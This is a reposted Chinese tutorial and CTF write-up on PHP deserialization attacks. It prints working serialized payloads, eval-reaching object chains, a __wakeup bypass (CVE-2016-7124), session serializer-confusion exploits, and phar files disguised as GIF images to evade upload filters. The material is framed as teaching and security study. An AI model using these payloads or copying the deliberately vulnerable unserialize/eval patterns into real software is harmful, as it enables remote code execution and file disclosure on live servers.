一文让PHP反序列化从入门到进阶(转)

原文地址:https://xz.aliyun.com/t/6753

序列化与反序列化

序列化

定义:利用serialize()函数将一个对象转换为字符串形式
我们先看一下直接输出对象是什么效果,代码如下

1
2
3
4
5
6
7
8
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
print_r($a);
?>

效果如下
img
这个时候我们利用serialize()函数将这个对象进行序列化成字符串然后输出,代码如下

1
2
3
4
5
6
7
8
9
<?php
class test{
public $name="ghtwf01";
public $age="18";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果如下

img

如果不是public方法那么后面的读取方法就有点不一样,例如代码如下

1
2
3
4
5
6
7
8
9
10
<?php
class test{
public $name="ghtwf01";
private $age="18";
protected $sex="man";
}
$a=new test();
$a=serialize($a);
print_r($a);
?>

效果如下

img

private分析:
这样就发现本来是age结果上面出现的是testage,而且testage长度为7,但是上面显示的是9
查找资料后发现private属性序列化的时候格式是%00类名%00成员名%00占一个字节长度,所以age加了类名后变成了testage长度为9

protect分析:
本来是sex结果上面出现的是*sex,而且*sex的长度是4,但是上面显示的是6,同样查找资料后发现protect属性序列化的时候格式是%00*%00成员名

这里介绍一下public、private、protected的区别

1
2
3
4
5
public(公共的):在本类内部、外部类、子类都可以访问

protect(受保护的):只有本类或子类或父类中可以访问

private(私人的):只有本类内部可以使用

反序列化

定义:反序列化就是利用unserailize()函数将一个经过序列化的字符串还原成php代码形式,代码如下

1
2
3
4
<?php
$b='序列化字符串';
$b=unserialize($b);
?>

反序列化漏洞原理

到这儿也许大家会想着序列化过去再反序列化回来,不就是形式之间的转换吗,和漏洞有什么关系
这里先掌握php常见的魔术方法,先列出几个最常见的魔术方法,当遇到这些的时候就需要注意了
附上讲解魔术方法的链接:https://segmentfault.com/a/1190000007250604

1
2
3
4
5
6
7
8
9
__construct()当一个对象创建时被调用

__destruct()当一个对象销毁时被调用

__toString()当反序列化后的对象被输出的时候(转化为字符串的时候)被调用

__sleep() 在对象在被序列化之前运行

__wakeup将在序列化之后立即被调用

我们用代码演示一下这些魔术方法的使用效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
class test{
public $a='hacked by ghtwf01';
public $b='hacked by blckder02';
public function pt(){
echo $this->a.'<br />';
}
public function __construct(){
echo '__construct<br />';
}
public function __destruct(){
echo '__construct<br />';
}
public function __sleep(){
echo '__sleep<br />';
return array('a','b');
}
public function __wakeup(){
echo '__wakeup<br />';
}
}
//创建对象调用__construct
$object = new test();
//序列化对象调用__sleep
$serialize = serialize($object);
//输出序列化后的字符串
echo 'serialize: '.$serialize.'<br />';
//反序列化对象调用__wakeup
$unserialize=unserialize($serialize);
//调用pt输出数据
$unserialize->pt();
//脚本结束调用__destruct
?>

运行效果如下:

img

原来有一个实例化出的对象,然后又反序列化出了一个对象,就存在两个对象,所以最后销毁了两个对象也就出现了执行了两次__destruct

这里我们看一个存在反序列化漏洞的代码

1
2
3
4
5
6
7
8
9
10
<?php
class A{
public $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['value'];
$a_unser = unserialize($a);
?>

这样我们就可以利用这个反序列化代码,利用方法是将需要使用的代码序列化后传入,看到这段代码上面有echo,我们尝试一下在这个页面显示hacked by ghtwf01的字符,现在一边将这段字符串进行序列化,代码如下(这里的类名和对象名要和存在漏洞的代码一致,类名为A,对象名为test)

1
2
3
4
5
6
7
8
<?php
class A{
public $test="hacked by ghtwf01";
}
$b= new A();
$result=serialize($b);
print_r($result);
?>

这样就得到这段字符序列化后的内容

img

将它传入目标网页,返回结果如下

img

既然网页上能输出,那说明也可以进行XSS攻击,尝试一下,虽然有点鸡肋2333,到这里应该懂得点什么叫反序列化漏洞了

img

一道简单的反序列化考点题
http://120.79.33.253:9001/

1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);

题目的大意就是反序列化一个变量后的值等于D0g3!!!,这个变量是用户输入的,于是我们写代码将D0g3!!!序列化

1
2
3
4
5
<?php
$a="D0g3!!!";
$b=serialize($a);
echo $b;
?>

得到序列化后的内容是

img

将序列化后的内容传入得到flag

img

现在再来一道bugku的反序列化题
welcome to bugctf(这道题被恶搞的删了qwq,只好看看网上贴出的代码分析一下)

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php  

$txt = $_GET["txt"];

$file = $_GET["file"];

$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){

echo "hello friend!<br>";

if(preg_match("/flag/",$file)){

echo "不能现在就给你flag哦";

exit();

}else{

include($file);

$password = unserialize($password);

echo $password;

}

}else{

echo "you are not the number of bugku ! ";

}

?>

代码有点长我们先来分析一下这串代码想表达什么
1.先GET传入参数$txt$file$password
2.判断$txt是否存在,如果存在并且值为welcome to the bugkuctf就进一步操作,$file参数里面不能包含flag字段
3.通过以上判断就include($file),再将$password反序列化并输出

hint.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php   

class Flag{//flag.php

public $file;

public function __tostring(){

if(isset($this->file)){

echo file_get_contents($this->file);

echo "<br>";

return ("good");

}

}

}

?>
index.php`里面要求`$file`参数不能包含`flag`字段,所以文件不能包含`flag.php`,所以`$file=hint.php`,把`hint.php`包含进去,里面存在一个`file_get_concents函数`可以读文件,想到`index.php`里面的`unserialize`函数,所以只需要控制`$this->file`就能读取想要的文件
用这段代码的结果传值给`$password
<?php
class Flag{
public $file='flag.php';
}
$a=new Flag();
$b=serialize($a);
echo $b;
?>
$password`进行反序列化后`$file`就被赋值为`flag.php`,然后`file_get_contents`就得到了`flag

img

再来一个反序列化漏洞利用例子,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class foo{
public $file = "2.txt";
public $data = "test";
function __destruct(){
file_put_contents(dirname(__FILE__).'/'.$this->file,$this->data);
}
}
$file_name = $_GET['filename'];
print "You have readfile ".$file_name;
unserialize(file_get_contents($file_name));
?>

这串代码的意思是将读取的文件内容进行反序列化,__destruct函数里面是生成文件,如果我们本地存在一个文件名是flag.txt,里面的内容是

1
O:3:"foo":2:{s:4:"file";s:9:"shell.php";s:4:"data";s:18:"<?php phpinfo();?>";}

将它进行反序列化就会生成shell.php里面的内容为<?php phpinfo();?>

img

img

CVE-2016-7124 __wakeup绕过

__wakeup魔法函数简介
unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法,预先准备对象需要的资源
反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行
漏洞影响版本:
php5 < 5.6.25
php7 < 7.0.10
漏洞复现:
代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class A{
public $target = "test";
function __wakeup(){
$this->target = "wakeup!";
}
function __destruct(){
$fp = fopen("D:\Program Files\PHPTutorial\WWW\zx\hello.php","w");
fputs($fp,$this->target);
fclose($fp);
}
}
$a = $_GET['test'];
$b = unserialize($a);
echo "hello.php"."<br/>";
include("./hello.php");
?>

魔法函数__wakeup()要比__destruct()先执行,所以我们之间传入
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}
时会被先执行的__wakeup()函数$target赋值覆盖为wakeup!,然后生成的hello.php里面的内容就是wakeup!

img

现在我们根据绕过方法:对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行,对象个数原来是1我们将其改为2,也就是
O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}
就能实现绕过

img

注入对象构造方法

当目标对象被private、protected修饰时反序列化漏洞的利用

上面说了privateprotected返回长度和public不一样的原因,这里再写一下

1
2
private属性序列化的时候格式是%00类名%00成员名
protect属性序列化的时候格式是%00*%00成员名

protected情况下,代码如下

1
2
3
4
5
6
7
8
9
10
<?php
class A{
protected $test = "hahaha";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$b = unserialize($a);
?>

利用方式:
先用如下代码输出利用的序列化串

1
2
3
4
5
6
7
8
<?php
class A{
protected $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>

得到O:1:"A":1:{s:7:"*test";s:17:"hacked by ghtwf01";}
因为protected*号两边都有%00,所以必须在url上面也加上,否则不会利用成功

img

private情况下,代码如下

1
2
3
4
5
6
7
8
<?php
class A{
private $test = "hacked by ghtwf01";
}
$a = new A();
$b = serialize($a);
print_r($b);
?>

利用代码这里省略吧,同上面,得到序列化后的字符串为O:1:"A":1:{s:7:"Atest";s:17:"hacked by ghtwf01";
因为private是类名A两边都有%00所以同样在url上面体现

img

同名方法的利用

代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class A{
public $target;
function __construct(){
$this->target = new B;
}
function __destruct(){
$this->target->action();
}
}
class B{
function action(){
echo "action B";
}
}
class C{
public $test;
function action(){
echo "action A";
eval($this->test);
}
}
unserialize($_GET['test']);
?>

这个例子中,class Bclass C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class Caction方法,实现任意代码执行
利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public $target;
function __construct(){
$this->target = new C;
$this->target->test = "phpinfo();";
}
function __destruct(){
$this->target->action();
}
}
class C{
public $test;
function action(){
echo "action C";
eval($this->test);
}
}
echo serialize(new A);
?>

img

session反序列化漏洞

什么是session

session英文翻译为”会话”,两个人聊天从开始到结束就构成了一个会话。PHP里的session主要是指客户端浏览器与服务端数据交换的对话,从浏览器打开到关闭,一个最简单的会话周期

PHP session工作流程

会话的工作流程很简单,当开始一个会话时,PHP会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的CookieGetPost中不存在session idPHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,例如登录如下网页Cokkie、Get、Post都不存在session id,于是就使用了set-cookie

img

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及formhidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

1
2
3
4
5
6
<?php
session_start();
if (!isset($_SESSION['username'])) {
$_SESSION['username'] = 'ghtwf01' ;
}
?>

代码的意思就是如果不存在session那么就创建一个session
也可以用如下流程图表示

img

php.ini配置

php.ini里面有如下六个相对重要的配置

1
2
3
4
5
6
session.save_path=""      --设置session的存储位置
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy下上述配置如下:

1
2
3
4
5
6
session.save_path = "/tmp"      --所有session文件存储在/tmp目录下
session.save_handler = files --表明session是以文件的方式来进行存储的
session.auto_start = 0 --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,都是sess_sessionid形式

img

打开看一下全是序列化后的内容

img

现在我们来看看session.serialize_handler,它定义的引擎有三种

| 处理器名称 | 存储格式 |
| php | 键名 + 竖线 + 经过serialize()函数序列化处理的值 |
| php_binary | 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值|
| php_serialize(php>5.5.4) | 经过serialize()函数序列化处理的数组 |

php处理器

首先来看看session.serialize_handler等于php时候的序列化结果,代码如下

1
2
3
4
5
6
7
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session`的`sessionid`其实可以看到的,为`i38age8ok4bofpiuiku3h20fh0

img

于是我们到session存储目录查看一下session文件内容

img

session$_SESSION['session']的键名,|后为传入GET参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于php_binary时候的序列化结果

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 3535 对应的 ASCII 码为#,所以最终的结果如下

img

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于php_serialize时候的序列化结果,代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

结果如下

img

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入GET参数经过序列化后的值

session的反序列化漏洞利用

php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。
我们创建一个session.php,用于传输session值,里面代码如下

1
2
3
4
5
6
<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

再创建一个hello.php,里面代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D0g3{
public $name = 'panda';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new XianZhi();
?>

这两个文件的作用很清晰,session.php文件的处理器是php_serializehello.php文件的处理器是phpsession.php文件的作用是传入可控的 session值,hello.php文件的作用是在反序列化开始前输出Who are you?,反序列化结束的时候输出name
运行一下hello.php看一下效果

img

我们用如下代码来复现一下session的反序列化漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class D0g3{
public $name = 'ghtwf01';
function __wakeup(){
echo "Who are you?";
}
function __destruct(){
echo '<br>'.$this->name;
}
}
$str = new D0g3();
echo serialize($str);
?>

输出结果为

img

因为sessionphp_serialize处理器,所以允许|存在字符串中,所以将这段代码序列化内容前面加上|传入session.php
现在来看一下存入session文件的内容

img

再打开hello.php

img

一道CTF题:PHPINFO

题目链接:http://web.jarvisoj.com:32784/
题目中给出如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}

function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>

仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php'),想到可不可能是session反序列化漏洞,看一下phpinfo,发现session.serialize_handler设置如下

1
2
local value(当前目录,会覆盖master value内容):php
master value(主目录,php.ini里面的内容):php_serialize

这个很明显就存在php session反序列化漏洞,但是入口点在哪里,怎么控制session的值
phpinfo里面看到了

1
2
session.upload_progress.enabled on
session.upload_progress.cleanup off

当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session
允许上传且结束后不清除数据,这样更有利于利用
html网页源代码上面添加如下代码

1
2
3
4
5
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

img

接下来考虑如何利用

1
2
3
4
5
6
7
8
9
10
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class OowoO
{
public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
echo serialize($obj);
?>

得到

img

为了防止转义,在每个双引号前加上\,即

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

点击提交,burpsuite抓包将filename的值改为它

img

查询到当前目录有哪些文件了,在phpinfo里面查看到当前目录路径

img

于是我们利用

1
print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));

来读取Here_1s_7he_fl4g_buT_You_Cannot_see.php中的内容,同样的道理加上\后将filename改为

1
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

得到flag

img

phar拓展反序列化攻击面

phar文件简介

概念

一个php应用程序往往是由多个文件构成的,如果能把他们集中为一个文件来分发和运行是很方便的,这样的列子有很多,比如在window操作系统上面的安装程序、一个jquery库等等,为了做到这点php采用了phar文档文件格式,这个概念源自javajar,但是在设计时主要针对 PHP 的 Web 环境,与 JAR 归档不同的是Phar归档可由 PHP 本身处理,因此不需要使用额外的工具来创建或使用,使用php脚本就能创建或提取它。phar是一个合成词,由PHPArchive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)

phar组成结构

1
2
3
4
stub:它是phar的文件标识,格式为xxx<?php xxx; __HALT_COMPILER();?>;
manifest:也就是meta-data,压缩文件的属性等信息,以序列化存储
contents:压缩文件的内容
signature:签名,放在文件末尾

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多

前提条件

1
2
php.ini中设置为phar.readonly=Off
php version>=5.3.0

phar反序列化漏洞

漏洞成因:phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化

demo测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

可以很明显看到manifest是以序列化形式存储的

img

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化
在网上扒了一张图

img

用如下demo证明

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename);
?>

img

当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了攻击面,其它函数也是可以的,比如file_exists函数,代码如下

1
2
3
4
5
6
7
8
9
10
<?php 
class TestObject {
public function __destruct() {
echo 'hello ghtwf01';
}
}

$filename = 'phar://phar.phar/a_random_string';
file_exists($filename);
?>

img

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

img

采用这种方法可以绕过很大一部分上传检测

利用条件

1
2
3
phar文件需要上传到服务器端
要有可用的魔术方法作为“跳板”
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

漏洞复现

upload.php
白名单只允许上传jpg,png,gif

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<!DOCTYPE html>
<html>
<head>
<title>文件上传</title>
</head>
<body>
<form method="post" enctype="multipart/form-data">
<input type="file" name="pic" />
<input type="submit" value="上传"/>
</body>
</html>
<?php
header("Content-type:text/html;charset=utf-8");
$ext_arr=array('.jpg','.png','.gif');
if(empty($_FILES)){
echo "请上传文件";
}else{
define("PATH",dirname(__DIR__));
$path=PATH."/"."upload"."/"."images";
$filetype=strrchr($_FILES["pic"]["name"],".");
if(in_array($filetype,$ext_arr)){
move_uploaded_file($_FILES["pic"]["tmp_name"],$path."/".$_FILES["pic"]["name"]);
echo "上传成功!";
}else{
echo "只允许上传.jpg|.png|.gif类型文件!";
}

}
?>

file_exists.php
验证文件是否存在,漏洞利用点:file_exists()函数

1
2
3
4
5
6
7
8
9
10
11
<?php
$filename=$_GET['filename'];
class ghtwf01{
public $a = 'echo exists;';
function __destruct()
{
eval($this -> a);
}
}
file_exists($filename);
?>

构造phar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class ghtwf01{
public $a = 'phpinfo();';
function __destruct()
{
eval($this -> a);
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new ghtwf01();
$phar -> setMetadata($object);
$phar -> stopBuffering();
?>

改后缀名为gif,然后上传,最后在file_exists.php利用漏洞

img

参考链接

https://www.freebuf.com/articles/web/206249.html
http://mini.eastday.com/mobile/190306223633207.html#
https://www.jianshu.com/p/54e93e92ba9e
https://www.jb51.net/article/79144.htm
https://xz.aliyun.com/t/6640
https://www.freebuf.com/vuls/202819.html
https://blog.csdn.net/u011474028/article/details/54973571
https://xz.aliyun.com/t/2715
https://kylingit.com/blog/%E7%94%B1phpggc%E7%90%86%E8%A7%A3php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器